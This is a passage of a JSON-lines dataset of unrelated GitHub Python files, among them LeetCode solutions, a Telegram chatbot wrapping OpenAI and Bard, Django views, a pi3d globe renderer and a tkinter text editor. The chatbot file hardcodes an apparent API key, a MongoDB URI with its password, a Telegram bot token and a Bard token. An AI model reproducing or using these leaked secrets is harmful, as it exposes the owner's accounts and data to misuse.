else:\n l = speed + 1\n\n return l if check(l) else -1\n\ndist = [1,3,2]\nhour = 2.7\nsol = Solution()\nspeed = sol.minSpeedOnTime(dist, hour)\nprint(speed)","repo_name":"jacky1107/leetcode","sub_path":"medium/1870_minimum_speed.py","file_name":"1870_minimum_speed.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31630903390","text":"import numpy as np\r\n\r\n\r\ndef validate(X_data, y_data, ratio=0.15):\r\n N = X_data.shape[0]\r\n size = int(N * ratio)\r\n inds = np.random.permutation(range(N))\r\n for i in range(int(N / size)):\r\n test_ind = inds[i * size:(i + 1) * size]\r\n train_ind = list(set(range(N))-set(test_ind))\r\n yield X_data[train_ind], y_data[train_ind], X_data[test_ind], y_data[test_ind]\r\n","repo_name":"Shi-Lixin/Machine-Learning-Algorithms","sub_path":"cross_validation.py","file_name":"cross_validation.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":184,"dataset":"github-code","pt":"21"} +{"seq_id":"38107936418","text":"import os\nimport requests\nimport openai\nfrom PIL import Image\nfrom pymongo import MongoClient\n\nimport io\nfrom flask import Flask, request\n\nimport telebot\nimport json\nfrom telebot import types\n\nfrom bardapi import Bard\nimport logging\n\nlogging.basicConfig(level=logging.DEBUG)\nlogger = logging.getLogger(__name__)\n\nyour_user_id = 6113550151\n\n# Define the path to the JSON file\nopenai.api_key = 'pk-wfPVEOYDbeIaBkFTOUEjVLqwQsZBQOhoqCceReGRivcqYPbl'\nopenai.api_base = 'https://api.pawan.krd/v1'\nMONGODB_URI = \"mongodb+srv://apurba:apurba@chataitg.xay89st.mongodb.net/telegramBotUsers?retryWrites=true&w=majority\"\nADMIN_USER_ID = 6113550151\nclient = MongoClient(MONGODB_URI)\ndb = client.get_default_database()\nusers_collection = db[\"users\"]\n\n\nbot_token = \"6179975944:AAEgrJwmzF0urBQOMYOVhGyosAFGoGYTc14\" # Replace with your Telegram bot token\n\ntoken = 'XQhF5_DT2aLBsn9ezvV6EtEo8tzz0vqZLWK6CRpvcJUGXc3rlPh2HVYFerCUqf8BlMoHMw.' # Retrieve Bard API token from environment variable\n\nbard = Bard(token=token)\n\nbot = telebot.TeleBot(bot_token)\n\napp = Flask(__name__)\n@bot.message_handler(commands=['gpt'])\n\ndef gpt_command_handler(message):\n\n # Extract the user prompt from the message\n\n user_prompt = message.text.replace('/gpt', '').strip()\n\n # Generate the AI response using OpenAI\n\n response = openai.Completion.create(\n\n model=\"text-davinci-003\",\n\n prompt=f\"Human: {user_prompt}\\nAI:\",\n\n temperature=0.7,\n\n max_tokens=256,\n\n top_p=1,\n\n frequency_penalty=0,\n\n presence_penalty=0,\n\n stop=[\"Human: \", \"AI: \"]\n\n )\n\n # Extract the AI response from the OpenAI API response\n\n ai_response = response.choices[0].text.strip()\n\n # Send the AI response back to the user\n\n bot.send_message(message.chat.id, ai_response)\n\ndef add_user_to_db(user_id):\n\n if not users_collection.find_one({\"user_id\": user_id}):\n\n users_collection.insert_one({\"user_id\": user_id})\n\n@bot.message_handler(commands=['start'])\ndef send_welcome(message):\n\n if message.chat.type == 'private':\n add_user_to_db(message.from_user.id)\n keyboard = types.InlineKeyboardMarkup()\n\n button_group = types.InlineKeyboardButton('Add me to your Group', url='http://t.me/aibardgptbot?startgroup=true')\n\n button_updates = types.InlineKeyboardButton('Updates', url='https://t.me/tgbardunofficial')\n\n button_support = types.InlineKeyboardButton('Latest Update❗️', url='https://t.me/tgbardunofficial/14')\n button_how_to_use = types.InlineKeyboardButton('How to Use Me', callback_data='how_to_use')\n\n keyboard.add(button_group, button_updates)\n\n keyboard.add(button_support)\n\n keyboard.add(button_how_to_use)\n\n photo = open('Google-Introduces-BARD-AI-Chatbot (1).jpg', 'rb')\n\n bot.send_photo(message.chat.id, photo, caption='''👋 Welcome to our AI-powered bot!\n\nThis bot is based on Chatgpt and BardAi which is designed to provide accurate and real-time answers to a wide range of topics. \n\nJust send me a direct message and i will answer your queries\n\nThe best part? All our services are completely free of charge! So ask away and explore the possibilities with our AI model. \n\nUse /gpt {YOUR PROMPT} to access chatgpt 3.5, it can help you with complex Questions. Send direct message if you prefer Google Bard Ai.\n\nIf the bot seems blocked try sending /start again or report bugs here @bardaisupport''', reply_markup=keyboard)\n\n else:\n\n bot.reply_to(message, 'You can only use this command in private chats.')\n\n@bot.callback_query_handler(func=lambda call: call.data == 'how_to_use')\n\ndef handle_how_to_use(call):\n\n keyboard = types.InlineKeyboardMarkup()\n\n button_back = types.InlineKeyboardButton('Back', callback_data='back')\n\n keyboard.add(button_back)\n\n bot.send_message(call.message.chat.id, 'How to Use the me:\\n\\n1. To ask a question in a group chat, start your message with `/ask` followed by your question. For example: `/ask How tall is Mount Everest?`\\n\\n2. In private you can send me a direct message and ask your question there(By default you will get answers from Google Bard Ai). Use /gpt if you prefer Chatgpt more \\n\\n4. Use /gpt to access Chatgpt 3.5', reply_markup=keyboard)\n\n@bot.callback_query_handler(func=lambda call: call.data == 'back')\n\ndef handle_back(call):\n\n send_welcome(call.message) \n \n@bot.message_handler(commands=[\"broadcast\"])\n\ndef broadcast_command(message):\n\n if message.from_user.id == ADMIN_USER_ID:\n\n message_text = message.text.replace(\"/broadcast\", \"\").strip()\n\n for user in users_collection.find():\n\n try:\n\n bot.send_message(user[\"user_id\"], message_text)\n\n except Exception as e:\n\n print(f\"Failed to send message to {user['user_id']}: {e}\") \n \n@bot.message_handler(commands=['stats'])\n\ndef stats_command(message):\n\n if message.from_user.id == 6113550151:\n\n num_users = users_collection.count_documents({})\n\n bot.reply_to(message, f'Total number of users: {num_users}')\n\n\n@bot.message_handler(func=lambda message: True)\n\ndef handle_all_messages(message):\n\n if message.text.startswith('/ask'):\n\n ask_command_handler(message)\n\n elif message.chat.type == 'private':\n\n generate_answer(message)\n \n# Create a dictionary to store sessions for each user\ndef generate_answer(message):\n if message.chat.type == 'private':\n prompt = message.text\n else:\n if message.text.startswith('/ask'):\n prompt = message.text[5:].strip()\n else:\n return\n\n wait_message = bot.send_message(message.chat.id, \"Please wait, generating content...\")\n\n try:\n response = bard.get_answer(prompt)\n answer = response['content']\n image_links = response['links']\n # Send the final answer\n bot.reply_to(message, answer)\n\n # Upload images if available\n if image_links:\n num_images_to_upload = min(len(image_links), 5) # Set the maximum number of images to upload\n for i in range(num_images_to_upload):\n image_link = image_links[i]\n try:\n image_response = requests.get(image_link)\n if image_response.status_code == 200:\n image_bytes = io.BytesIO(image_response.content)\n bot.send_photo(message.chat.id, photo=image_bytes)\n except Exception as e_upload:\n logger.error(f\"Error while uploading image: {e_upload}\")\n\n except Exception as e:\n logger.error(f\"Error while generating answer: {e}\")\n answer = \"Sorry, I couldn't generate an answer. Please try again.\"\n\n # Send the error message\n bot.reply_to(message, answer)\n\n # Delete the \"please wait\" message\n bot.delete_message(chat_id=wait_message.chat.id, message_id=wait_message.message_id)\n\n\n\n@bot.message_handler(commands=['ask'])\ndef ask_command_handler(message):\n\n generate_answer(message) \n\n\nif __name__ == '__main__':\n bot.polling()\n\n\n \n","repo_name":"korosenseiiii/Test","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28281323460","text":"# encoding: utf-8\n\"\"\"\nCustom views for the DataMAD application\n\"\"\"\n__author__ = 'Richard Smith'\n__date__ = '10 Dec 2020'\n__copyright__ = 'Copyright 2018 United Kingdom Research and Innovation'\n__license__ = 'BSD - see LICENSE file in top-level package directory'\n__contact__ = 'richard.d.smith@stfc.ac.uk'\n\n\n# Django Imports\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.views.generic.edit import DeleteView\n\n\nclass ObjectDeleteView(LoginRequiredMixin, DeleteView):\n \"\"\"\n Class based view to provide a delete via a GET call\n \"\"\"\n template_name = 'datamad2/confirm_delete.html'","repo_name":"cedadev/datamad2","sub_path":"datamad2/views/generic.py","file_name":"generic.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12508755946","text":"import matplotlib.pyplot as plt\nfrom collections import namedtuple\n\nPoint = namedtuple('Point', ['x', 'y'])\n\np0 = Point(80, 80)\np1 = Point(40, 72)\np2 = Point(20, 80)\n\n\ndef bezier_points(points):\n p = lambda a, b, t: Point(b.x + ((a.x - b.x) * t), b.y + ((a.y - b.y) * t))\n xs = [points[-1].x]\n ys = [points[-1].y]\n for i in range(0, len(points) - 2):\n p0, p1, p2 = points[i:i + 3]\n for t in range(2, 10, 2):\n a = p(p0, p1, t / 10)\n b = p(p1, p2, t / 10)\n f = p(a, b, t / 10)\n xs.append(f.x)\n ys.append(f.y)\n xs.append(points[0].x)\n ys.append(points[0].y)\n print(xs, ys)\n return xs, ys\n\n\npoints = [p0, p1, p2]\nx = [p.x for p in points]\ny = [p.y for p in points]\nplt.plot(x, y)\nx, y = bezier_points(points)\nplt.plot(x, y)\nplt.xlim(0, 100)\nplt.ylim(0, 100)\nplt.show()\n","repo_name":"FlorianHuveteau/coding_game","sub_path":"training/mars_lander/bezier.py","file_name":"bezier.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17518399434","text":"from crcFinder import CrcFinder, CrcCalculator, ShiftType\r\n\r\ndef test_finder():\r\n f = CrcFinder()\r\n data = []\r\n import zlib\r\n data.append((b\"123456789\", zlib.crc32(b'123456789')))\r\n data.append((b\"123456789xxxx\", zlib.crc32(b'123456789xxxx')))\r\n r = f.findCrc(data)\r\n assert(len(r) == 1)\r\n assert(r[0] == CrcCalculator(32, 0x04c11db7, 0xffffffff, True, True, 0xffffffff, ShiftType.LEFT, ShiftType.LEFT))\r\n\r\n data = []\r\n data.append((b'123456789', b'\\xb0\\xd0\\x0e\\xc4'))\r\n r = f.findCrc(data)\r\n assert(len(r) == 1)\r\n assert(r[0] == CrcCalculator(32, 0x04c11db7, 0xffffffff, True, True, 0xffffffff, ShiftType.LEFT, ShiftType.RIGHT, extra=\"result_is_le\"))","repo_name":"leommxj/crcFinder","sub_path":"tests/test_Finder.py","file_name":"test_Finder.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"22926232955","text":"# encoding: utf-8\n#\n#\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this file,\n# You can obtain one at http:# mozilla.org/MPL/2.0/.\n#\n# Contact: Kyle Lahnakoski (kyle@lahnakoski.com)\n#\nfrom __future__ import absolute_import, division, unicode_literals\n\nfrom collections import Mapping\n\nfrom jx_base import Column, TableDesc\nfrom jx_base.schema import Schema\nfrom mo_collections import UniqueIndex\nfrom mo_dots import (\n Data,\n FlatList,\n NullType,\n ROOT_PATH,\n concat_field,\n is_container,\n join_field,\n listwrap,\n split_field,\n unwraplist,\n wrap)\nfrom mo_future import binary_type, items, long, none_type, reduce, text\nfrom mo_json import INTEGER, NUMBER, STRING, python_type_to_json_type\nfrom mo_times.dates import Date\n\nDEBUG = False\nMETA_TABLES_NAME = \"meta.tables\"\nMETA_COLUMNS_NAME = \"meta.columns\"\nMETA_COLUMNS_TYPE_NAME = \"column\"\nsinglton = None\n\n\ndef get_schema_from_list(table_name, frum, native_type_to_json_type=python_type_to_json_type):\n \"\"\"\n SCAN THE LIST FOR COLUMN TYPES\n \"\"\"\n columns = UniqueIndex(keys=(\"name\",))\n _get_schema_from_list(\n frum,\n \".\",\n parent=\".\",\n nested_path=ROOT_PATH,\n columns=columns,\n native_type_to_json_type=native_type_to_json_type,\n )\n return Schema(table_name=table_name, columns=list(columns))\n\n\ndef _get_schema_from_list(\n frum, # The list\n table_name, # Name of the table this list holds records for\n parent, # parent path\n nested_path, # each nested array, in reverse order\n columns, # map from full name to column definition\n native_type_to_json_type # dict from storage type name to json type name\n):\n for d in frum:\n row_type = python_type_to_json_type[d.__class__]\n\n if row_type != \"object\":\n # EXPECTING PRIMITIVE VALUE\n full_name = parent\n column = columns[full_name]\n if not column:\n column = Column(\n name=concat_field(table_name, full_name),\n es_column=full_name,\n es_index=\".\",\n es_type=d.__class__.__name__,\n jx_type=None, # WILL BE SET BELOW\n last_updated=Date.now(),\n nested_path=nested_path,\n )\n columns.add(column)\n column.es_type = _merge_python_type(column.es_type, d.__class__)\n column.jx_type = native_type_to_json_type[column.es_type]\n else:\n for name, value in d.items():\n full_name = concat_field(parent, name)\n column = columns[full_name]\n if not column:\n column = Column(\n name=concat_field(table_name, full_name),\n es_column=full_name,\n es_index=\".\",\n es_type=value.__class__.__name__,\n jx_type=None, # WILL BE SET BELOW\n last_updated=Date.now(),\n nested_path=nested_path,\n )\n columns.add(column)\n if is_container(value): # GET TYPE OF MULTIVALUE\n v = list(value)\n if len(v) == 0:\n this_type = none_type.__name__\n elif len(v) == 1:\n this_type = v[0].__class__.__name__\n else:\n this_type = reduce(\n _merge_python_type, (vi.__class__.__name__ for vi in value)\n )\n else:\n this_type = value.__class__.__name__\n column.es_type = _merge_python_type(column.es_type, this_type)\n try:\n column.jx_type = native_type_to_json_type[column.es_type]\n except Exception as e:\n raise e\n\n if this_type in {\"object\", \"dict\", \"Mapping\", \"Data\"}:\n _get_schema_from_list(\n [value], table_name, full_name, nested_path, columns, native_type_to_json_type\n )\n elif this_type in {\"list\", \"FlatList\"}:\n np = listwrap(nested_path)\n newpath = unwraplist([join_field(split_field(np[0]) + [name])] + np)\n _get_schema_from_list(\n value, table_name, full_name, newpath, columns\n )\n\n\ndef get_id(column):\n \"\"\"\n :param column:\n :return: Elasticsearch id for column\n \"\"\"\n return column.es_index + \"|\" + column.es_column\n\n\nMETA_COLUMNS_DESC = TableDesc(\n name=META_COLUMNS_NAME,\n url=None,\n query_path=ROOT_PATH,\n last_updated=Date.now(),\n columns=wrap(\n [\n Column(\n name=c,\n es_index=META_COLUMNS_NAME,\n es_column=c,\n es_type=\"keyword\",\n jx_type=STRING,\n last_updated=Date.now(),\n nested_path=ROOT_PATH,\n )\n for c in [\n \"name\",\n \"es_type\",\n \"jx_type\",\n \"nested_path\",\n \"es_column\",\n \"es_index\",\n \"partitions\",\n ]\n ]\n + [\n Column(\n name=c,\n es_index=META_COLUMNS_NAME,\n es_column=c,\n es_type=\"integer\",\n jx_type=INTEGER,\n last_updated=Date.now(),\n nested_path=ROOT_PATH,\n )\n for c in [\"count\", \"cardinality\", \"multi\"]\n ]\n + [\n Column(\n name=\"last_updated\",\n es_index=META_COLUMNS_NAME,\n es_column=\"last_updated\",\n es_type=\"double\",\n jx_type=NUMBER,\n last_updated=Date.now(),\n nested_path=ROOT_PATH\n )\n ]\n )\n\n)\n\nMETA_TABLES_DESC = TableDesc(\n name=META_TABLES_NAME,\n url=None,\n query_path=ROOT_PATH,\n last_updated=Date.now(),\n columns=wrap(\n [\n Column(\n name=c,\n es_index=META_TABLES_NAME,\n es_column=c,\n es_type=\"string\",\n jx_type=STRING,\n last_updated=Date.now(),\n nested_path=ROOT_PATH\n )\n for c in [\n \"name\",\n \"url\",\n \"query_path\"\n ]\n ] + [\n Column(\n name=c,\n es_index=META_TABLES_NAME,\n es_column=c,\n es_type=\"integer\",\n jx_type=INTEGER,\n last_updated=Date.now(),\n nested_path=ROOT_PATH\n )\n for c in [\n \"timestamp\"\n ]\n ]\n )\n)\n\n\n\nSIMPLE_METADATA_COLUMNS = ( # FOR PURELY INTERNAL PYTHON LISTS, NOT MAPPING TO ANOTHER DATASTORE\n [\n Column(\n name=c,\n es_index=META_COLUMNS_NAME,\n es_column=c,\n es_type=\"string\",\n jx_type=STRING,\n last_updated=Date.now(),\n nested_path=ROOT_PATH,\n )\n for c in [\"table\", \"name\", \"type\", \"nested_path\"]\n ]\n + [\n Column(\n name=c,\n es_index=META_COLUMNS_NAME,\n es_column=c,\n es_type=\"long\",\n jx_type=INTEGER,\n last_updated=Date.now(),\n nested_path=ROOT_PATH,\n )\n for c in [\"count\", \"cardinality\", \"multi\"]\n ]\n + [\n Column(\n name=\"last_updated\",\n es_index=META_COLUMNS_NAME,\n es_column=\"last_updated\",\n es_type=\"time\",\n jx_type=NUMBER,\n last_updated=Date.now(),\n nested_path=ROOT_PATH,\n )\n ]\n)\n\n_merge_order = {\n none_type: 0,\n NullType: 1,\n bool: 2,\n int: 3,\n long: 3,\n Date: 4,\n float: 5,\n text: 6,\n binary_type: 6,\n object: 7,\n dict: 8,\n Mapping: 9,\n Data: 10,\n list: 11,\n FlatList: 12,\n}\n\nfor k, v in items(_merge_order):\n _merge_order[k.__name__] = v\n\n\ndef _merge_python_type(A, B):\n a = _merge_order[A]\n b = _merge_order[B]\n\n if a >= b:\n output = A\n else:\n output = B\n\n if isinstance(output, str):\n return output\n else:\n return output.__name__\n","repo_name":"mozilla/jx-sqlite","sub_path":"vendor/jx_base/meta_columns.py","file_name":"meta_columns.py","file_ext":"py","file_size_in_byte":8569,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"21"} +{"seq_id":"39088925703","text":"import pi3d, pickle, numpy as np, threading, os.path\nfrom scipy.spatial.transform import Rotation\nfrom math import sin,cos\nfrom WaveGlobe import WaveGlobe\n\npartition=120 #sphere geometry complexity\nmax_radius=4.5 #radius of largest sphere\nwater_radius=2.5 #radius of water sphere\nlayer_gap=0.35 #distance between spheres\nsphere_count=5\nmin_radius=max_radius-sphere_count*layer_gap\nroot_dir='/home/pi/globe/'\ninitial_rotation=Rotation.from_quat([0,0,0,1])\n\nclass Globes():\n def __init__(self,camera:pi3d.Camera,shader:pi3d.Shader,display:pi3d.Display):\n self.camera=camera\n self.globe1=None\n self.allTextures:list=list()\n self.allLayers:list=list()\n self.globe1 = None\n self.rotation=initial_rotation\n self._no_z_rot=self._makeQuat([0,0,1],0)\n self.globe5=None\n self._display=display\n self.waterworld=None\n self.burbworld=None\n self.initialised=False\n \n bump_shader=pi3d.Shader(\"uv_bump\")\n threading.Thread(target=lambda:self.initialise(camera,shader,bump_shader)).start()\n \n def initialise(self,camera:pi3d.Camera,shader:pi3d.Shader,bump_shader:pi3d.Shader):\n if not os.path.isfile(root_dir+'textures.pkl'):\n for i in range(0,sphere_count):\n tex=pi3d.Texture(root_dir+'layer '+str(i)+'.png',blend=True,free_after_load=True)\n self.allTextures.append(tex)\n print('loaded ' +str(i))\n self.allTextures.append(pi3d.Texture(root_dir+'layer 5.land.png',blend=True,free_after_load=True,automatic_resize=False))\n # print('loaded land')\n self.allTextures.append(pi3d.Texture(root_dir+'layer 5.water.png',blend=True,free_after_load=True,automatic_resize=False))\n # print('loaded water')\n with open('textures.pkl', 'wb') as f:\n pickle.dump(self.allTextures, f)\n print ('dumped to file')\n with open(root_dir+'textures.pkl', 'rb') as f:\n self.allTextures = pickle.load(f)\n\n temp_layers=list()\n for i in range(0,sphere_count):\n lyr_rad=max_radius-i*layer_gap\n lyr=pi3d.Sphere(camera=camera,radius=lyr_rad, slices=partition, sides=partition, name=\"layer \"+str(i))\n temp_layers.append(lyr)\n lyr.set_draw_details(shader,[self.allTextures[i]])\n if i==0:\n self.globe1 = lyr\n else:\n self.globe1.add_child(lyr)\n #lyr.draw()\n self.allLayers=temp_layers\n self.globe5=self.allLayers[-1]\n \n #This sphere is managed separately. This means it doesn't factor into the double-click gestures\n self.waterworld=WaveGlobe(camera=camera,radius=water_radius, slices=partition, sides=partition, name=\"swan\")\n self.waterworld.set_draw_details(bump_shader,[self.allTextures[-1]])\n #self.waterworld.set_fog((0.196,0.788,0.87,0.5),3)\n self.globe1.add_child(self.waterworld)\n self.burbworld=pi3d.Sphere(camera=camera,radius=water_radius, slices=partition, sides=partition, name=\"burbs\")\n self.burbworld.set_draw_details(shader,[self.allTextures[-2]])\n self.globe1.add_child(self.burbworld)\n\n self.initialised=True\n \n @property\n def min_radius(self):\n return max_radius\n @property\n def max_radius(self):\n return max_radius - sphere_count * layer_gap\n\n def _makeQuat(self,unitVector,theta) -> Rotation:\n theta=theta*0.5\n c,s=cos(theta),sin(theta)\n return Rotation.from_quat(np.array([s*unitVector[0],s*unitVector[1],s*unitVector[2],c]))\n\n #rotation as 3-tuple, around (x,y,z) axes\n #z-centroid is (x,y)\n def doRotation(self,rot:tuple,z_centroid:tuple,cam_z:float) -> None:\n if not self.initialised:\n return\n rot=np.radians(rot)\n rx=self._makeQuat([1.0,0.0,0.0],rot[0])\n ry=self._makeQuat([0.0,1.0,0.0],rot[1])\n rz=self._no_z_rot\n if rot[2]!=0 and z_centroid is not None:\n #z-axis rotation should be at multitouch centroid. How the screen position\n #in pixels maps to coordinate space is guesswork:\n #(x,y)=twist distance from screen centre * cam distance from (0,0,0) * scale factor\n sfx=0.4\n sfy=0.2\n qzx=(z_centroid[0]-self._display.width/2) * (-cam_z/max_radius) / self._display.width*sfx\n qzy=(self._display.height/2-z_centroid[1]) * (-cam_z/max_radius) / self._display.height*sfy\n #scipy will normalise this vector\n zaxis=[qzx,qzy,1]\n rz=self._makeQuat(zaxis,rot[2]*2)\n #rotate about axes from the global perspective; in quaternions\n #this is old rotation first (switch terms for object-local)\n self.rotation=self.rotation*rz*rx*ry\n\n def distanceToNextLayer(self,cam_z:float) -> tuple:\n for lyr in self.allLayers:\n d2l=self.distanceToLayer(lyr,cam_z)\n if d2l>1.5:\n return (lyr,d2l)\n return None\n\n def distanceToLayer(self,layer:pi3d.Sphere,cam_z:float) -> float:\n return layer.z()-cam_z-layer.radius\n\n def doLayersAlpha(self,master_alpha:float,cam_z:float) -> None:\n if self.initialised:\n for layer in self.allLayers:\n self.doLayerAlpha(layer,master_alpha,cam_z)\n self.waterworld.set_alpha(master_alpha)\n self.doLayerAlpha(self.burbworld,master_alpha,cam_z)\n \n def doLayerAlpha(self,layer:pi3d.Sphere,master_alpha:float,cam_z:float) -> None:\n distance:float=self.distanceToLayer(layer,cam_z)-1.5\n la:float=1.0-(distance*5)**2\n la=max(la,0.2 if distance>0.0 else 0)\n layer.set_alpha(la*master_alpha)\n\n def findNextFocalLength(self,cam_z:float) -> float:\n if len(self.allLayers)==0:\n return cam_z\n d2l=self.distanceToNextLayer(cam_z)\n if (d2l is None):\n return -self.globe1.radius-1.5\n else:\n targetZ=-d2l[0].radius-1.5\n #correct for rounding error:\n if (targetZ-cam_z)<0.1:\n ix=self.allLayers.index(d2l[0])+1\n ix=0 if ix>=len(self.allLayers) else ix\n targetZ=-self.allLayers[ix].radius-1.5\n return targetZ\n \n def draw(self):\n if not self.initialised:\n return\n mat=self.rotation.as_matrix()\n sphere_matrix=[[mat[0][0],mat[0][1],mat[0][2],0.0],\n [mat[1][0],mat[1][1],mat[1][2],0.0],\n [mat[2][0],mat[2][1],mat[2][2],0.0],\n [0.0,0.0,0.0,1.0]]\n for layer in self.allLayers[1:]:\n if (layer.alpha()>0.1):\n layer.draw()\n self.globe1.draw(next_m=sphere_matrix)\n self.waterworld.draw()\n self.burbworld.draw()\n\n","repo_name":"mysteryproducer/phd_resources","sub_path":"globe/globes.py","file_name":"globes.py","file_ext":"py","file_size_in_byte":6847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28329751627","text":"from django.urls import path\nfrom . import views\napp_name ='index'\nurlpatterns=[\n path('',views.index_home,name='index_home'),\n path('trending',views.index_trend,name='trending'),\n path('subscription',views.index_sub,name='subscription'),\n path('library',views.index_library,name='library'),\n path('history',views.index_history,name='history'),\n \n\n\n]\n","repo_name":"prajishasabi/youtubeclone","sub_path":"index/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29912501717","text":"import sqlite3\n\nconnection = sqlite3.connect('student_courses.db')\n\ncursor = connection.cursor()\n\ncommand1 = \"\"\"CREATE TABLE IF NOT EXISTS \nstudent_courses(student_id INTEGER PRIMARY KEY, courses TEXT)\"\"\"\n\ncursor.execute(command1)\n\ncursor.execute(\"INSERT INTO student_courses VALUES (17090,'Course A, Course B')\")\ncursor.execute(\"INSERT INTO student_courses VALUES (17091,'Course C, Course D')\")\ncursor.execute(\"INSERT INTO student_courses VALUES (17092,'Course E, Course F')\")\n\ncursor.execute(\"SELECT * FROM student_courses\")\n\nresults = cursor.fetchall()\nprint(results)\n\ncursor.execute(\"SELECT courses FROM student_courses WHERE student_id=17090\")\n\nresults = cursor.fetchall()\nprint(results[0][0])\n\n","repo_name":"PranavS30/University-Navigation-Chatbot-Service","sub_path":"seed_data.py","file_name":"seed_data.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19468003921","text":"from tkinter import *\r\nfrom tkinter import filedialog as FileDialog\r\nfrom io import open\r\n\r\nruta = \"\"\r\n\r\n\r\ndef posTextoClick(event):\r\n mensaje.set(texto.index(CURRENT))\r\ndef posTextoKey(event):\r\n mensaje.set(texto.index(CURRENT))\r\n\r\ndef nuevo():\r\n global ruta\r\n mensaje.set(\"Nuevo fichero\")\r\n ruta = \"\"\r\n texto.delete(1.0, \"end\")\r\n root.title(\"Mi editor\")\r\n\r\ndef abrir():\r\n global ruta\r\n mensaje.set(\"Abrir fichero\")\r\n ruta = FileDialog.askopenfilename(\r\n initialdir='.', \r\n filetypes=((\"Ficheros de texto\", \"*.txt\"),),\r\n title=\"Abrir un fichero de texto\")\r\n\r\n if ruta != \"\":\r\n fichero = open(ruta, 'r')\r\n contenido = fichero.read()\r\n texto.delete(1.0,'end')\r\n texto.insert('insert', contenido)\r\n fichero.close()\r\n root.title(ruta + \" - Mi editor\")\r\n\r\ndef guardar():\r\n mensaje.set(\"Guardar fichero\")\r\n if ruta != \"\":\r\n contenido = texto.get(1.0,'end-1c')\r\n fichero = open(ruta, 'w+')\r\n fichero.write(contenido)\r\n fichero.close()\r\n mensaje.set(\"Fichero guardado correctamente\")\r\n else:\r\n guardar_como()\r\n\r\ndef guardar_como():\r\n global ruta\r\n mensaje.set(\"Guardar fichero como\")\r\n\r\n fichero = FileDialog.asksaveasfile(title=\"Guardar fichero\", \r\n mode=\"w\", defaultextension=\".txt\")\r\n\r\n if fichero is not None:\r\n ruta = fichero.name\r\n contenido = texto.get(1.0,'end-1c')\r\n fichero = open(ruta, 'w+')\r\n fichero.write(contenido)\r\n fichero.close()\r\n mensaje.set(\"Fichero guardado correctamente\")\r\n else:\r\n mensaje.set(\"Guardado cancelado\")\r\n ruta = \"\"\r\n\r\n\r\n# Configuración de la raíz\r\nroot = Tk()\r\nroot.geometry('900x600')\r\nroot.title(\"Proyecto\")\r\nmenubar = Menu(root)\r\nmensaje = StringVar() \r\nroot.config(menu=menubar)\r\nframe=Frame(root, width=300, height=160)\r\nframe.pack()\r\nroot.bind('', posTextoClick)\r\nroot.bind('',posTextoKey)\r\n\r\nfilemenu = Menu(menubar, tearoff=0)\r\nfilemenu.add_command(label=\"Nuevo\", command = nuevo)\r\nfilemenu.add_command(label=\"Abrir\", command = abrir)\r\nfilemenu.add_command(label=\"Guardar\", command = guardar)\r\nfilemenu.add_command(label=\"Guardar Como\", command = guardar_como)\r\nfilemenu.add_command(label=\"Ejecutar Análisis\")\r\nfilemenu.add_separator()\r\nfilemenu.add_command(label=\"Salir\", command=root.quit)\r\n\r\neditmenu = Menu(menubar, tearoff=0)\r\neditmenu.add_command(label=\"Cortar\")\r\neditmenu.add_command(label=\"Copiar\")\r\neditmenu.add_command(label=\"Pegar\")\r\n\r\nhelpmenu = Menu(menubar, tearoff=0)\r\nhelpmenu.add_command(label=\"Ayuda\")\r\nhelpmenu.add_separator()\r\nhelpmenu.add_command(label=\"Acerca de...\")\r\n\r\nmenubar.add_cascade(label=\"Archivo\", menu=filemenu)\r\nmenubar.add_cascade(label=\"Edición\", menu=editmenu)\r\nmenubar.add_cascade(label=\"Herramientas\", menu=filemenu)\r\nmenubar.add_cascade(label=\"Analizar\", menu=filemenu)\r\nmenubar.add_cascade(label=\"Reportes\", menu=filemenu)\r\nmenubar.add_cascade(label=\"Ayuda\", menu=helpmenu)\r\n\r\nventana = Frame(root)\r\nventana.pack(pady=5)\r\n\r\ntext_scroll = Scrollbar(ventana)\r\ntext_scroll.pack(side=RIGHT, fill=Y)\r\ntexto = Text(ventana)\r\ntexto.config(x=10, y=10,height=10, width=10)\r\ntexto.pack()\r\nw = Label ( root,textvariable=mensaje,relief=RAISED )\r\nw.pack()\r\ntext_scroll.config(command=texto.yview)\r\n\r\n\r\n# Finalmente bucle de la aplicación\r\nroot.mainloop()","repo_name":"201314735/CompiProyecto","sub_path":"Proyecto1.py","file_name":"Proyecto1.py","file_ext":"py","file_size_in_byte":3365,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32877056571","text":"from typing import *\nfrom itertools import combinations\n\nclass Solution:\n def readBinaryWatch(self, turnedOn: int) -> List[str]:\n def get_time(led_on):\n led = [1, 2, 4, 8, 16, 32, 1, 2, 4, 8]\n h, m = 0, 0\n for i in led_on:\n if i > 5:\n h += led[i]\n else:\n m += led[i]\n \n if h < 12 and m < 60:\n return str(h) + \":\" + str(m).zfill(2)\n else:\n return None\n\n output = []\n for led_on in combinations(range(10), turnedOn):\n t = get_time(led_on)\n if t:\n output.append(t)\n return output\n \n# 타인 풀이\nclass Solution(object):\n def readBinaryWatch(self, turnedOn):\n res=[]\n a=[bin(i).count(\"1\")for i in 